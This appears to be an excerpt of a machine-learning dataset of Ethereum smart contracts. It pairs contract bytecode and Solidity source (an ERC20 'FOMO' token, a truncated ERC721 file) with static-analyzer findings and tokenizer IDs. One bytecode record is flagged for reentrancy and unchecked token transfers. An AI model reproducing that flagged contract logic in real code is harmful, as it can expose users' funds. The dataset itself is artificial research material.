1106140d157fe5b9060005260206000200160009054906101000a90046001600160a01b0316905060006060826001600160a01b031663c1423cb08787600133346040518663ffffffff1660e01b8152600401808060200180602001868152602001856001600160a01b03168152602001848152602001838103835288818151815260200191508051906020019080838360005b8381101561417557818101518382015260200161415d565b50505050905090810190601f1680156141a25780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b838110156141d55781810151838201526020016141bd565b50505050905090810190601f1680156142025780820380516001836020036101000a031916815260200191505b5097505050505050505060006040518083038186803b15801561422457600080fd5b505afa158015614238573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561426157600080fd5b815160208301805160405192949293830192919084600160201b82111561428757600080fd5b90830190602082018581111561429c57600080fd5b8251600160201b8111828201881017156142b557600080fd5b82525081516020918201929091019080838360005b838110156142e25781810151838201526020016142ca565b50505050905090810190601f16801561430f5780820380516001836020036101000a031916815260200191505b50604052505050915091506000836001600160a01b03166374f81676846040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b15801561436b57600080fd5b505af115801561437f573d6000803e3d6000fd5b505050506040513d602081101561439557600080fd5b505160405183519192506000916001600160a01b038616918591819060208401908083835b602083106143d95780518252601f1990920191602091820191016143ba565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461443b576040519150601f19603f3d011682016040523d82523d6000602084013e614440565b606091505b5096509050811561449f57846001600160a01b031663d7e5d1af6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561448657600080fd5b505af115801561449a573d6000803e3d6000fd5b505050505b806144f1576040805162461bcd60e51b815260206004820152601e60248201527f4661696c656420746f207375626d69742066756e6374696f6e616c6974790000604482015290519081900360640190fd5b505050505092915050565b60008060068154811061180457fe5b60008060018154811061451a57fe5b600091825260209182902001546040805163a9771afd60e01b81526001600160a01b0386811660048301529151919092169263a9771afd9260248082019391829003018186803b15801561265f57600080fd5b60008060028154811061180457fe5b60008060018154811061180457fe5b606060008054806020026020016040519081016040528092919081815260200182805480156145e357602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116145c5575b5050505050905090565b60006004815481106145fb57fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b15801561464a57600080fd5b505afa15801561465e573d6000803e3d6000fd5b505050506040513d602081101561467457600080fd5b50516146b15760405162461bcd60e51b81526004018080602001828103825260318152602001806152c96031913960400191505060405180910390fd5b60006005815481106146bf57fe5b60009182526020822001546040805163dbba0f0160e01b81526001600160a01b0387811660048301526024820187905285811660448301529151919092169263dbba0f01926064808201939182900301818387803b15801561472057600080fd5b505af1158015614734573d6000803e3d6000fd5b50505050505050565b60005415614789576040805162461bcd60e51b8152602060048201526014602482015273496e697420616c72656164792063616c6c65642160601b604482015290519081900360640190fd5b6040805160078082526101008201909252906020820160e080368337505081516147ba9260009250602001906151c8565b5086600080815481106147c957fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561483057600080fd5b505af1158015614844573d6000803e3d6000fd5b5050505085600060018154811061485757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156148be57600080fd5b505af11580156148d2573d6000803e3d6000fd5b505050508460006002815481106148e557fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561494c57600080fd5b505af1158015614960573d6000803e3d6000fd5b5050505083600060038154811061497357fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055508260006004815481106149b057fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015614a1757600080fd5b505af1158015614a2b573d6000803e3d6000fd5b50505050816000600581548110614a3e57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015614aa557600080fd5b505af1158015614ab9573d6000803e3d6000fd5b50505050806000600681548110614acc57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015614b3357600080fd5b505af1158015614b47573d6000803e3d6000fd5b5050505050505050505050565b6000600481548110614b6257fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b158015614bb157600080fd5b505afa158015614bc5573d6000803e3d6000fd5b505050506040513d6020811015614bdb57600080fd5b5051614c25576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420616374696f6e2160601b604482015290519081900360640190fd5b6001600160a01b038316614c89576000600581548110614c4157fe5b60009182526020822001546040516001600160a01b0390911691303180156108fc02929091818181858888f19350505050158015614c83573d6000803e3d6000fd5b50613d1c565b8115614d2657826001600160a01b03166323b872dd306000600581548110614cad57fe5b6000918252602082200154604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939091166024840152604483018690525160648084019382900301818387803b158015614d0957600080fd5b505af1158015614d1d573d6000803e3d6000fd5b50505050613d1c565b6000839050806001600160a01b031663a9059cbb6000600581548110614d4857fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b0392831693928716926370a082319260248082019391829003018186803b158015614d9c57600080fd5b505afa158015614db0573d6000803e3d6000fd5b505050506040513d6020811015614dc657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015614e1757600080fd5b505af1158015614e2b573d6000803e3d6000fd5b505050506040513d60208110156116dc57600080fd5b6000602082511061268e57506020015190565b80614e5e576151c5565b600060606000600481548110614e7057fe5b600091825260208083209091015460408051636427760f60e11b815260048101939093526019602484015278676574456d657267656e63795375727665795374616b696e6760381b6044840152516001600160a01b039091169263c84eec1e9260648082019391829003018186803b158015614eeb57600080fd5b505afa158015614eff573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a0811015614f2857600080fd5b81516020830151604080850180519151939592948301929184600160201b821115614f5257600080fd5b908301906020820185811115614f6757600080fd5b8251600160201b811182820188101715614f8057600080fd5b82525081516020918201929091019080838360005b83811015614fad578181015183820152602001614f95565b50505050905090810190601f168015614fda5780820380516001836020036101000a031916815260200191505b506004815260248101604081905285519799509497506060966001600160a01b038a1696509094889450925082915060208401908083835b602083106150315780518252601f199092019160209182019101615012565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b602083106150a95780518252601f19909201916020918201910161508a565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114615109576040519150601f19603f3d011682016040523d82523d6000602084013e61510e565b606091505b50915050600061511d82614e41565b905080156151c0576000808154811061513257fe5b6000918252602080832090910154604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216936323b872dd9360648084019491939192918390030190829087803b15801561519657600080fd5b505af11580156151aa573d6000803e3d6000fd5b505050506040513d602081101561473457600080fd5b505050505b50565b82805482825590600052602060002090810192821561521d579160200282015b8281111561521d57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906151e8565b5061522992915061522d565b5090565b5b808211156152295780546001600160a01b031916815560010161522e56fe4661696c656420746f20726561642066726f6d2066756e6374696f6e616c6974794f6e6c7920617574686f72697a65642066756e6374696f6e616c69746965732063616e20656d6974206576656e7473214f6e6c792046756e6374696f6e616c6974696573204d616e616765722063616e2063616c6c2074686973214f6e6c792066756e6374696f6e616c69746965732063616e207472616e736665722050726f78792062616c616e636573214f6e6c7920737461727450726f706f73616c2046756e6374696f6e616c6974792063616e20656e61626c6520612064656c617965642070726f706f73616c4f6e6c792064697361626c6550726f706f73616c2046756e6374696f6e616c6974792063616e2064697361626c6520612064656c617965642070726f706f73616ca2646970667358221220007f79c6e19176fe9377a11811531cf2f30d917523765a1f497198f36acb73a264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17465, 2575, 27717, 2683, 2278, 2475, 7959, 2692, 2683, 2629, 15878, 2497, 2683, 28311, 2692, 23777, 2629, 27717, 2509, 2050, 2581, 2509, 2063, 2692, 2575, 2063, 2581, 2546, 2094, 2509, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 10047, 16872, 21572, 18037, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 10047, 16872, 11263, 27989, 23732, 21572, 6873, 12002, 24805, 4590, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 10047, 16872, 11263, 27989, 23732, 21572, 6873, 12002, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 10047, 16872, 11263, 27989, 23732, 5302, 9247, 11512, 17325, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 24582, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,659
0x97219702d8350fa7b2d49ace60ce6ddca273ff2c
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract Context { constructor () public { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } } contract Owned { address private owner; address private newOwner; /// @notice The Constructor assigns the message sender to be `owner` constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner,"Owner only function"); _; } } contract ERC20 is Context, Owned, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract FOMO is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; constructor () public ERC20Detailed("Fomotoken", "FOMO", 18) { _totalSupply = 100000000 *(10**uint256(18)); _balances[msg.sender] = _totalSupply; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c39190610705565b60405180910390f35b6100df6100da3660046106d1565b610222565b6040516100c391906106fa565b6100f461023f565b6040516100c3919061089d565b6100df61010f366004610696565b610245565b61011c6102cc565b6040516100c391906108a6565b6100df6101373660046106d1565b6102d5565b6100f461014a36600461064a565b610323565b6100b6610342565b6100df6101653660046106d1565b610351565b6100df6101783660046106d1565b6103b9565b6100f461018b366004610664565b6103cd565b60606005805461019f906108e3565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb906108e3565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b600061023661022f6103f8565b84846103fc565b50600192915050565b60045490565b60006102528484846104b9565b6102c28461025e6103f8565b6102bd8560405180606001604052806028815260200161095b602891396001600160a01b038a1660009081526003602052604081209061029c6103f8565b6001600160a01b0316815260208101919091526040016000205491906105c3565b6103fc565b5060019392505050565b60075460ff1690565b60006102366102e26103f8565b846102bd85600360006102f36103f8565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906105fd565b6001600160a01b0381166000908152600260205260409020545b919050565b60606006805461019f906108e3565b600061023661035e6103f8565b846102bd8560405180606001604052806025815260200161098360259139600360006103886103f8565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906105c3565b60006102366103c66103f8565b84846104b9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661042b5760405162461bcd60e51b815260040161042290610859565b60405180910390fd5b6001600160a01b0382166104515760405162461bcd60e51b81526004016104229061079b565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104ac90859061089d565b60405180910390a3505050565b6001600160a01b0383166104df5760405162461bcd60e51b815260040161042290610814565b6001600160a01b0382166105055760405162461bcd60e51b815260040161042290610758565b61054281604051806060016040528060268152602001610935602691396001600160a01b03861660009081526002602052604090205491906105c3565b6001600160a01b03808516600090815260026020526040808220939093559084168152205461057190826105fd565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ac90859061089d565b600081848411156105e75760405162461bcd60e51b81526004016104229190610705565b5060006105f484866108cc565b95945050505050565b60008061060a83856108b4565b90508381101561062c5760405162461bcd60e51b8152600401610422906107dd565b9392505050565b80356001600160a01b038116811461033d57600080fd5b60006020828403121561065b578081fd5b61062c82610633565b60008060408385031215610676578081fd5b61067f83610633565b915061068d60208401610633565b90509250929050565b6000806000606084860312156106aa578081fd5b6106b384610633565b92506106c160208501610633565b9150604084013590509250925092565b600080604083850312156106e3578182fd5b6106ec83610633565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561073157858101830151858201604001528201610715565b818111156107425783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156108c7576108c761091e565b500190565b6000828210156108de576108de61091e565b500390565b6002810460018216806108f757607f821691505b6020821081141561091857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122025bca7f2bdabf8c8d3ed18d6c79bf4836fa60bbff990f8a03a62eb392b9cbd0b64736f6c63430008010033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 17465, 2683, 19841, 2475, 2094, 2620, 19481, 2692, 7011, 2581, 2497, 2475, 2094, 26224, 10732, 16086, 3401, 2575, 14141, 3540, 22907, 2509, 4246, 2475, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,660
0x9721a9a482704085d19633e99a250596ba656735
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: The NameGame: NAME Token /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╠╠╠╠╠╠╠╠╠▒╠╠▒╠╠╠╠╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╠▒▒▒╠╠╠╠╠▒╠╠╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╠▒▒▒╠╠▒╠╠▒╠╠▒╠╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╚╠▒▒╚╚▒▒╩╚╚╠▒▒╚╚▒▒▒╠╚╠╩╚╚╚╚╚╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ╙▒ ]▒`)φφ░└▒ `▒░` ╠ε φφφφ╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ╠╠╓ ]▒ └╚╚⌐ ▒ ▐▒╓╠▒ ╠ε ╓╓╓╓╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ╠▒▒ ]▒ )φφ⌐ ▒ ▐▒▒▒▒ ╠ε ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╓╠▒▒╓╔▒╓╠▒▒╖╓▒╓▐▒▒▒▒╓╠╦╓╓╓╓╓╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠`,╔╔╔╔╔ε,▒▒▒▒╠╙ )∩╠▒▒▒`╙╠▒▒▒╠╙╙`╠▒▒╠.╔╔╔╔╔╔╔φ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠ ]▒▒╠╩╩╩╩╩▒▒▒╩ç╔╠▒⌐╚▒▒▒ ╠φ░╚╩,φ╠φ`╠▒╠ ╩╩╩╩╩╩▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠j▒▒▒╠▒▒▒φ ▒▒╩⌐╙╚╚⌐, ╠▒▒ ╠▒▒,,╠▒▒▒ 